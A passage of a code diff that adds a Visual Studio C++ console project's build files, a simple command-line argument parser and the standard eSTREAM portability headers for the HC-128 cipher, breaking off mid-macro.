<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="args.cpp" />
|
||||
<ClCompile Include="ecc\curve25519-donna.cpp" />
|
||||
<ClCompile Include="entry.cpp" />
|
||||
<ClCompile Include="eSTREAM\hc-128.cpp" />
|
||||
<ClCompile Include="hash\crc32.cpp" />
|
||||
<ClCompile Include="hash\sha512.cpp" />
|
||||
<ClCompile Include="memory.cpp" />
|
||||
<ClCompile Include="queue.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="args.h" />
|
||||
<ClInclude Include="ecc\curve25519-donna.h" />
|
||||
<ClInclude Include="eSTREAM\ecrypt-config.h" />
|
||||
<ClInclude Include="eSTREAM\ecrypt-machine.h" />
|
||||
<ClInclude Include="eSTREAM\ecrypt-portable.h" />
|
||||
<ClInclude Include="eSTREAM\ecrypt-sync.h" />
|
||||
<ClInclude Include="hash\crc32.h" />
|
||||
<ClInclude Include="hash\sha512.h" />
|
||||
<ClInclude Include="memory.h" />
|
||||
<ClInclude Include="queue.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,93 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Исходные файлы">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы ресурсов">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков\eSTREAM">
|
||||
<UniqueIdentifier>{154deeb2-29de-4cfa-b1ce-cc7299850b3f}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Исходные файлы\eSTREAM">
|
||||
<UniqueIdentifier>{84c51d23-c758-4dd2-b5d8-91f1fbd22521}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков\hash">
|
||||
<UniqueIdentifier>{3aae0cb0-eb22-4b20-877a-f8f0f21655f3}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков\ecc">
|
||||
<UniqueIdentifier>{ac8f5b40-737c-4ed0-be0d-f4e090989a91}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Исходные файлы\hash">
|
||||
<UniqueIdentifier>{fbeee3fa-6adc-47b1-bce0-82b60623317e}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Исходные файлы\ecc">
|
||||
<UniqueIdentifier>{4ab71b4b-8a11-487e-89dd-89ca26b64804}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="eSTREAM\hc-128.cpp">
|
||||
<Filter>Исходные файлы\eSTREAM</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="queue.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="memory.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="entry.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="args.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ecc\curve25519-donna.cpp">
|
||||
<Filter>Исходные файлы\ecc</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="hash\sha512.cpp">
|
||||
<Filter>Исходные файлы\hash</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="hash\crc32.cpp">
|
||||
<Filter>Исходные файлы\hash</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="eSTREAM\ecrypt-portable.h">
|
||||
<Filter>Файлы заголовков\eSTREAM</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="eSTREAM\ecrypt-sync.h">
|
||||
<Filter>Файлы заголовков\eSTREAM</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="eSTREAM\ecrypt-config.h">
|
||||
<Filter>Файлы заголовков\eSTREAM</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="eSTREAM\ecrypt-machine.h">
|
||||
<Filter>Файлы заголовков\eSTREAM</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="queue.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="memory.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="args.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ecc\curve25519-donna.h">
|
||||
<Filter>Файлы заголовков\ecc</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="hash\sha512.h">
|
||||
<Filter>Файлы заголовков\hash</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="hash\crc32.h">
|
||||
<Filter>Файлы заголовков\hash</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,4 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
|
@ -0,0 +1,76 @@
|
|||
#include "args.h"
|
||||
|
||||
bool argz_option(int argc, wchar_t* argv[], const wchar_t* option) {
|
||||
/*
|
||||
option(argc, argv, option);
|
||||
Checks if a given option is active in the arguments.
|
||||
*/
|
||||
wchar_t* arg;
|
||||
for (int i = 1; i < argc; i++) { /* Iterate over all arguments */
|
||||
arg = argv[i];
|
||||
if (*arg == L'-') { /* Options begin with a dash, anything else is an argument */
|
||||
while (*arg == L'-') { /* Skip past the dashes */
|
||||
arg++;
|
||||
}
|
||||
while (*option) { /* Compare the current option with the given one */
|
||||
if (*option != *arg) {
|
||||
break; /* Uh oh, no match */
|
||||
}
|
||||
option++;
|
||||
arg++;
|
||||
}
|
||||
return true; /* There was a match */
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t* argz_arg(int argc, wchar_t* argv[], int index) {
|
||||
/*
|
||||
arg(argc, argv, index);
|
||||
Gets the argument at the given index in argv.
|
||||
*/
|
||||
wchar_t* arg;
|
||||
int opts = 0;
|
||||
for (int i = 1; i < argc; i++) { /* Iterate over all arguments */
|
||||
arg = argv[i];
|
||||
if (*arg != L'-') { /* Hooray, we found an argument that is not an option */
|
||||
if (i - opts - 1 == index) {
|
||||
return arg; /* Yay, a match */
|
||||
}
|
||||
} else { /* Uh oh, we found an option */
|
||||
opts++;
|
||||
}
|
||||
}
|
||||
return 0; /* Return null string if no match was found */
|
||||
}
|
||||
|
||||
wchar_t* argz_value(int argc, wchar_t* argv[], const wchar_t* key) {
|
||||
/*
|
||||
value(argc, argv, key);
|
||||
Get the value of the given key option (--x=y).
|
||||
*/
|
||||
wchar_t* arg;
|
||||
int miss;
|
||||
for (int i = 1; i < argc; i++) { /* Iterate over all arguments */
|
||||
arg = argv[i];
|
||||
miss = 0;
|
||||
if (*arg == L'-') { /* We only care about options */
|
||||
while (*arg == L'-') { /* Skip the starting dashes */
|
||||
arg++;
|
||||
}
|
||||
while (*arg != L'=') { /* Compare the key, but stop before the value */
|
||||
if (*arg != *key) {
|
||||
miss++;
|
||||
}
|
||||
arg++;
|
||||
key++;
|
||||
}
|
||||
if (miss == 0) { /* No difference between given key and this key, return the value */
|
||||
arg++;
|
||||
return arg;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0; /* Return null if no match was found */
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
#ifndef ARGS_H
|
||||
#define ARGS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
|
||||
bool argz_option(int argc, wchar_t* argv[], const wchar_t* option);
|
||||
wchar_t* argz_arg(int argc, wchar_t* argv[], int index);
|
||||
wchar_t* argz_value(int argc, wchar_t* argv[], const wchar_t* key);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,272 @@
|
|||
/* ecrypt-config.h */
|
||||
|
||||
/* *** Normally, it should not be necessary to edit this file. *** */
|
||||
|
||||
#ifndef ECRYPT_CONFIG
|
||||
#define ECRYPT_CONFIG
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Guess the endianness of the target architecture. */
|
||||
|
||||
/*
|
||||
* The LITTLE endian machines:
|
||||
*/
|
||||
#if defined(__ultrix) /* Older MIPS */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(__alpha) /* Alpha */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(i386) /* x86 (gcc) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(__i386) /* x86 (gcc) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(_M_IX86) /* x86 (MSC, Borland) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(_MSC_VER) /* x86 (surely MSC) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(__INTEL_COMPILER) /* x86 (surely Intel compiler icl.exe) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
|
||||
/*
|
||||
* The BIG endian machines:
|
||||
*/
|
||||
#elif defined(sun) /* Newer Sparc's */
|
||||
#define ECRYPT_BIG_ENDIAN
|
||||
#elif defined(__ppc__) /* PowerPC */
|
||||
#define ECRYPT_BIG_ENDIAN
|
||||
|
||||
/*
|
||||
* Finally machines with UNKNOWN endianness:
|
||||
*/
|
||||
#elif defined (_AIX) /* RS6000 */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#elif defined(__hpux) /* HP-PA */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#elif defined(__aux) /* 68K */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#elif defined(__dgux) /* 88K (but P6 in latest boxes) */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#elif defined(__sgi) /* Newer MIPS */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#else /* Any other processor */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* Find minimal-width types to store 8-bit, 16-bit, 32-bit, and 64-bit
|
||||
* integers.
|
||||
*
|
||||
* Note: to enable 64-bit types on 32-bit compilers, it might be
|
||||
* necessary to switch from ISO C90 mode to ISO C99 mode (e.g., gcc
|
||||
* -std=c99).
|
||||
*/
|
||||
|
||||
#include <limits.h>
|
||||
|
||||
/* --- check char --- */
|
||||
|
||||
#if (UCHAR_MAX / 0xFU > 0xFU)
|
||||
#ifndef I8T
|
||||
#define I8T char
|
||||
#define U8C(v) (v##U)
|
||||
|
||||
#if (UCHAR_MAX == 0xFFU)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (UCHAR_MAX / 0xFFU > 0xFFU)
|
||||
#ifndef I16T
|
||||
#define I16T char
|
||||
#define U16C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (UCHAR_MAX / 0xFFFFU > 0xFFFFU)
|
||||
#ifndef I32T
|
||||
#define I32T char
|
||||
#define U32C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (UCHAR_MAX / 0xFFFFFFFFU > 0xFFFFFFFFU)
|
||||
#ifndef I64T
|
||||
#define I64T char
|
||||
#define U64C(v) (v##U)
|
||||
#define ECRYPT_NATIVE64
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* --- check short --- */
|
||||
|
||||
#if (USHRT_MAX / 0xFU > 0xFU)
|
||||
#ifndef I8T
|
||||
#define I8T short
|
||||
#define U8C(v) (v##U)
|
||||
|
||||
#if (USHRT_MAX == 0xFFU)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (USHRT_MAX / 0xFFU > 0xFFU)
|
||||
#ifndef I16T
|
||||
#define I16T short
|
||||
#define U16C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (USHRT_MAX / 0xFFFFU > 0xFFFFU)
|
||||
#ifndef I32T
|
||||
#define I32T short
|
||||
#define U32C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (USHRT_MAX / 0xFFFFFFFFU > 0xFFFFFFFFU)
|
||||
#ifndef I64T
|
||||
#define I64T short
|
||||
#define U64C(v) (v##U)
|
||||
#define ECRYPT_NATIVE64
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* --- check int --- */
|
||||
|
||||
#if (UINT_MAX / 0xFU > 0xFU)
|
||||
#ifndef I8T
|
||||
#define I8T int
|
||||
#define U8C(v) (v##U)
|
||||
|
||||
#if (ULONG_MAX == 0xFFU)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (UINT_MAX / 0xFFU > 0xFFU)
|
||||
#ifndef I16T
|
||||
#define I16T int
|
||||
#define U16C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (UINT_MAX / 0xFFFFU > 0xFFFFU)
|
||||
#ifndef I32T
|
||||
#define I32T int
|
||||
#define U32C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (UINT_MAX / 0xFFFFFFFFU > 0xFFFFFFFFU)
|
||||
#ifndef I64T
|
||||
#define I64T int
|
||||
#define U64C(v) (v##U)
|
||||
#define ECRYPT_NATIVE64
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* --- check long --- */
|
||||
|
||||
#if (ULONG_MAX / 0xFUL > 0xFUL)
|
||||
#ifndef I8T
|
||||
#define I8T long
|
||||
#define U8C(v) (v##UL)
|
||||
|
||||
#if (ULONG_MAX == 0xFFUL)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (ULONG_MAX / 0xFFUL > 0xFFUL)
|
||||
#ifndef I16T
|
||||
#define I16T long
|
||||
#define U16C(v) (v##UL)
|
||||
#endif
|
||||
|
||||
#if (ULONG_MAX / 0xFFFFUL > 0xFFFFUL)
|
||||
#ifndef I32T
|
||||
#define I32T long
|
||||
#define U32C(v) (v##UL)
|
||||
#endif
|
||||
|
||||
#if (ULONG_MAX / 0xFFFFFFFFUL > 0xFFFFFFFFUL)
|
||||
#ifndef I64T
|
||||
#define I64T long
|
||||
#define U64C(v) (v##UL)
|
||||
#define ECRYPT_NATIVE64
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* --- check long long --- */
|
||||
|
||||
#ifdef ULLONG_MAX
|
||||
|
||||
#if (ULLONG_MAX / 0xFULL > 0xFULL)
|
||||
#ifndef I8T
|
||||
#define I8T long long
|
||||
#define U8C(v) (v##ULL)
|
||||
|
||||
#if (ULLONG_MAX == 0xFFULL)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (ULLONG_MAX / 0xFFULL > 0xFFULL)
|
||||
#ifndef I16T
|
||||
#define I16T long long
|
||||
#define U16C(v) (v##ULL)
|
||||
#endif
|
||||
|
||||
#if (ULLONG_MAX / 0xFFFFULL > 0xFFFFULL)
|
||||
#ifndef I32T
|
||||
#define I32T long long
|
||||
#define U32C(v) (v##ULL)
|
||||
#endif
|
||||
|
||||
#if (ULLONG_MAX / 0xFFFFFFFFULL > 0xFFFFFFFFULL)
|
||||
#ifndef I64T
|
||||
#define I64T long long
|
||||
#define U64C(v) (v##ULL)
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/* --- check __int64 --- */
|
||||
|
||||
#ifdef _UI64_MAX
|
||||
|
||||
#if (_UI64_MAX / 0xFFFFFFFFui64 > 0xFFFFFFFFui64)
|
||||
#ifndef I64T
|
||||
#define I64T __int64
|
||||
#define U64C(v) (v##ui64)
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#endif
|
|
@ -0,0 +1,40 @@
|
|||
/* ecrypt-machine.h */
|
||||
|
||||
/*
|
||||
* This file is included by 'ecrypt-portable.h'. It allows to override
|
||||
* the default macros for specific platforms. Please carefully check
|
||||
* the machine code generated by your compiler (with optimisations
|
||||
* turned on) before deciding to edit this file.
|
||||
*/
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#if (defined(ECRYPT_DEFAULT_ROT) && !defined(ECRYPT_MACHINE_ROT))
|
||||
|
||||
#define ECRYPT_MACHINE_ROT
|
||||
|
||||
#if (defined(WIN32) && defined(_MSC_VER))
|
||||
|
||||
#undef ROTR32
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
#define ROTR32(x,n) (((x)>>(n))|((x)<<(32-(n))))
|
||||
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#if (defined(ECRYPT_DEFAULT_SWAP) && !defined(ECRYPT_MACHINE_SWAP))
|
||||
|
||||
#define ECRYPT_MACHINE_SWAP
|
||||
|
||||
/*
|
||||
* If you want to overwrite the default swap macros, put it here. And so on.
|
||||
*/
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
|
@ -0,0 +1,303 @@
|
|||
/* ecrypt-portable.h */
|
||||
|
||||
/*
|
||||
* WARNING: the conversions defined below are implemented as macros,
|
||||
* and should be used carefully. They should NOT be used with
|
||||
* parameters which perform some action. E.g., the following two lines
|
||||
* are not equivalent:
|
||||
*
|
||||
* 1) ++x; y = ROTL32(x, n);
|
||||
* 2) y = ROTL32(++x, n);
|
||||
*/
|
||||
|
||||
/*
|
||||
* *** Please do not edit this file. ***
|
||||
*
|
||||
* The default macros can be overridden for specific architectures by
|
||||
* editing 'ecrypt-machine.h'.
|
||||
*/
|
||||
|
||||
#ifndef ECRYPT_PORTABLE
|
||||
#define ECRYPT_PORTABLE
|
||||
|
||||
#include "ecrypt-config.h"
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* The following types are defined (if available):
|
||||
*
|
||||
* u8: unsigned integer type, at least 8 bits
|
||||
* u16: unsigned integer type, at least 16 bits
|
||||
* u32: unsigned integer type, at least 32 bits
|
||||
* u64: unsigned integer type, at least 64 bits
|
||||
*
|
||||
* s8, s16, s32, s64 -> signed counterparts of u8, u16, u32, u64
|
||||
*
|
||||
* The selection of minimum-width integer types is taken care of by
|
||||
* 'ecrypt-config.h'. Note: to enable 64-bit types on 32-bit
|
||||
* compilers, it might be necessary to switch from ISO C90 mode to ISO
|
||||
* C99 mode (e.g., gcc -std=c99).
|
||||
*/
|
||||
|
||||
#ifdef I8T
|
||||
typedef signed I8T s8;
|
||||
typedef unsigned I8T u8;
|
||||
#endif
|
||||
|
||||
#ifdef I16T
|
||||
typedef signed I16T s16;
|
||||
typedef unsigned I16T u16;
|
||||
#endif
|
||||
|
||||
#ifdef I32T
|
||||
typedef signed I32T s32;
|
||||
typedef unsigned I32T u32;
|
||||
#endif
|
||||
|
||||
#ifdef I64T
|
||||
typedef signed I64T s64;
|
||||
typedef unsigned I64T u64;
|
||||
#endif
|
||||
|
||||
/*
|
||||
* The following macros are used to obtain exact-width results.
|
||||
*/
|
||||
|
||||
#define U8V(v) ((u8)(v) & U8C(0xFF))
|
||||
#define U16V(v) ((u16)(v) & U16C(0xFFFF))
|
||||
#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF))
|
||||
#define U64V(v) ((u64)(v) & U64C(0xFFFFFFFFFFFFFFFF))
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* The following macros return words with their bits rotated over n
|
||||
* positions to the left/right.
|
||||
*/
|
||||
|
||||
#define ECRYPT_DEFAULT_ROT
|
||||
|
||||
#define ROTL8(v, n) \
|
||||
(U8V((v) << (n)) | ((v) >> (8 - (n))))
|
||||
|
||||
#define ROTL16(v, n) \
|
||||
(U16V((v) << (n)) | ((v) >> (16 - (n))))
|
||||
|
||||
#define ROTL32(v, n) \
|
||||
(U32V((v) << (n)) | ((v) >> (32 - (n))))
|
||||
|
||||
#define ROTL64(v, n) \
|
||||
(U64V((v) << (n)) | ((v) >> (64 - (n))))
|
||||
|
||||
#define ROTR8(v, n) ROTL8(v, 8 - (n))
|
||||
#define ROTR16(v, n) ROTL16(v, 16 - (n))
|
||||
#define ROTR32(v, n) ROTL32(v, 32 - (n))
|
||||
#define ROTR64(v, n) ROTL64(v, 64 - (n))
|
||||
|
||||
#include "ecrypt-machine.h"
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* The following macros return a word with bytes in reverse order.
|
||||
*/
|
||||
|
||||
#define ECRYPT_DEFAULT_SWAP
|
||||
|
||||
#define SWAP16(v) \
|
||||
ROTL16(v, 8)
|
||||
|
||||
#define SWAP32(v) \
|
||||
((ROTL32(v, 8) & U32C(0x00FF00FF)) | \
|
||||
(ROTL32(v, 24) & U32C(0xFF00FF00)))
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define SWAP64(v) \
|
||||
((ROTL64(v, 8) & U64C(0x000000FF000000FF)) | \
|
||||
(ROTL64(v, 24) & U64C(0x0000FF000000FF00)) | \
|
||||
(ROTL64(v, 40) & U64C(0x00FF000000FF0000)) | \
|
||||
(ROTL64(v, 56) & U64C(0xFF000000FF000000)))
|
||||
#else
|
||||
#define SWAP64(v) \
|
||||
(((u64)SWAP32(U32V(v)) << 32) | (u64)SWAP32(U32V(v >> 32)))
|
||||
#endif
|
||||
|
||||
#include "ecrypt-machine.h"
|
||||
|
||||
#define ECRYPT_DEFAULT_WTOW
|
||||
|
||||
#ifdef ECRYPT_LITTLE_ENDIAN
|
||||
#define U16TO16_LITTLE(v) (v)
|
||||
#define U32TO32_LITTLE(v) (v)
|
||||
#define U64TO64_LITTLE(v) (v)
|
||||
|
||||
#define U16TO16_BIG(v) SWAP16(v)
|
||||
#define U32TO32_BIG(v) SWAP32(v)
|
||||
#define U64TO64_BIG(v) SWAP64(v)
|
||||
#endif
|
||||
|
||||
#ifdef ECRYPT_BIG_ENDIAN
|
||||
#define U16TO16_LITTLE(v) SWAP16(v)
|
||||
#define U32TO32_LITTLE(v) SWAP32(v)
|
||||
#define U64TO64_LITTLE(v) SWAP64(v)
|
||||
|
||||
#define U16TO16_BIG(v) (v)
|
||||
#define U32TO32_BIG(v) (v)
|
||||
#define U64TO64_BIG(v) (v)
|
||||
#endif
|
||||
|
||||
#include "ecrypt-machine.h"
|
||||
|
||||
/*
|
||||
* The following macros load words from an array of bytes with
|
||||
* different types of endianness, and vice versa.
|
||||
*/
|
||||
|
||||
#define ECRYPT_DEFAULT_BTOW
|
||||
|
||||
#if (!defined(ECRYPT_UNKNOWN) && defined(ECRYPT_I8T_IS_BYTE))
|
||||
|
||||
#define U8TO16_LITTLE(p) U16TO16_LITTLE(((u16*)(p))[0])
|
||||
#define U8TO32_LITTLE(p) U32TO32_LITTLE(((u32*)(p))[0])
|
||||
#define U8TO64_LITTLE(p) U64TO64_LITTLE(((u64*)(p))[0])
|
||||
|
||||
#define U8TO16_BIG(p) U16TO16_BIG(((u16*)(p))[0])
|
||||
#define U8TO32_BIG(p) U32TO32_BIG(((u32*)(p))[0])
|
||||
#define U8TO64_BIG(p) U64TO64_BIG(((u64*)(p))[0])
|
||||
|
||||
#define U16TO8_LITTLE(p, v) (((u16*)(p))[0] = U16TO16_LITTLE(v))
|
||||
#define U32TO8_LITTLE(p, v) (((u32*)(p))[0] = U32TO32_LITTLE(v))
|
||||
#define U64TO8_LITTLE(p, v) (((u64*)(p))[0] = U64TO64_LITTLE(v))
|
||||
|
||||
#define U16TO8_BIG(p, v) (((u16*)(p))[0] = U16TO16_BIG(v))
|
||||
#define U32TO8_BIG(p, v) (((u32*)(p))[0] = U32TO32_BIG(v))
|
||||
#define U64TO8_BIG(p, v) (((u64*)(p))[0] = U64TO64_BIG(v))
|
||||
|
||||
#else
|
||||
|
||||
#define U8TO16_LITTLE(p) \
|
||||
(((u16)((p)[0]) ) | \
|
||||
((u16)((p)[1]) << 8))
|
||||
|
||||
#define U8TO32_LITTLE(p) \
|
||||
(((u32)((p)[0]) ) | \
|
||||
((u32)((p)[1]) << 8) | \
|
||||
((u32)((p)[2]) << 16) | \
|
||||
((u32)((p)[3]) << 24))
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define U8TO64_LITTLE(p) \
|
||||
(((u64)((p)[0]) ) | \
|
||||
((u64)((p)[1]) << 8) | \
|
||||
((u64)((p)[2]) << 16) | \
|
||||
((u64)((p)[3]) << 24) | \
|
||||
((u64)((p)[4]) << 32) | \
|
||||
((u64)((p)[5]) << 40) | \
|
||||
((u64)((p)[6]) << 48) | \
|
||||
((u64)((p)[7]) << 56))
|
||||
#else
|
||||
#define U8TO64_LITTLE(p) \
|
||||
((u64)U8TO32_LITTLE(p) | ((u64)U8TO32_LITTLE((p) + 4) << 32))
|
||||
#endif
|
||||
|
||||
#define U8TO16_BIG(p) \
|
||||
(((u16)((p)[0]) << 8) | \
|
||||
((u16)((p)[1]) ))
|
||||
|
||||
#define U8TO32_BIG(p) \
|
||||
(((u32)((p)[0]) << 24) | \
|
||||
((u32)((p)[1]) << 16) | \
|
||||
((u32)((p)[2]) << 8) | \
|
||||
((u32)((p)[3]) ))
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define U8TO64_BIG(p) \
|
||||
(((u64)((p)[0]) << 56) | \
|
||||
((u64)((p)[1]) << 48) | \
|
||||
((u64)((p)[2]) << 40) | \
|
||||
((u64)((p)[3]) << 32) | \
|
||||
((u64)((p)[4]) << 24) | \
|
||||
((u64)((p)[5]) << 16) | \
|
||||
((u64)((p)[6]) << 8) | \
|
||||
((u64)((p)[7]) ))
|
||||
#else
|
||||
#define U8TO64_BIG(p) \
|
||||
(((u64)U8TO32_BIG(p) << 32) | (u64)U8TO32_BIG((p) + 4))
|
||||
#endif
|
||||
|
||||
#define U16TO8_LITTLE(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) ); \
|
||||
(p)[1] = U8V((v) >> 8); \
|
||||
} while (0)
|
||||
|
||||
#define U32TO8_LITTLE(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) ); \
|
||||
(p)[1] = U8V((v) >> 8); \
|
||||
(p)[2] = U8V((v) >> 16); \
|
||||
(p)[3] = U8V((v) >> 24); \
|
||||
} while (0)
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define U64TO8_LITTLE(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) ); \
|
||||
(p)[1] = U8V((v) >> 8); \
|
||||
(p)[2] = U8V((v) >> 16); \
|
||||
(p)[3] = U8V((v) >> 24); \
|
||||
(p)[4] = U8V((v) >> 32); \
|
||||
(p)[5] = U8V((v) >> 40); \
|
||||
(p)[6] = U8V((v) >> 48); \
|
||||
(p)[7] = U8V((v) >> 56); \
|
||||
} while (0)
|
||||
#else
|
||||
#define U64TO8_LITTLE(p, v) \
|
||||
do { \
|
||||
U32TO8_LITTLE((p), U32V((v) )); \
|
||||
U32TO8_LITTLE((p) + 4, U32V((v) >> 32)); \
|
||||
} while (0)
|
||||
#endif
|
||||
|
||||
#define U16TO8_BIG(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) ); \
|
||||
(p)[1] = U8V((v) >> 8); \
|
||||
} while (0)
|
||||
|
||||
#define U32TO8_BIG(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) >> 24); \
|
||||
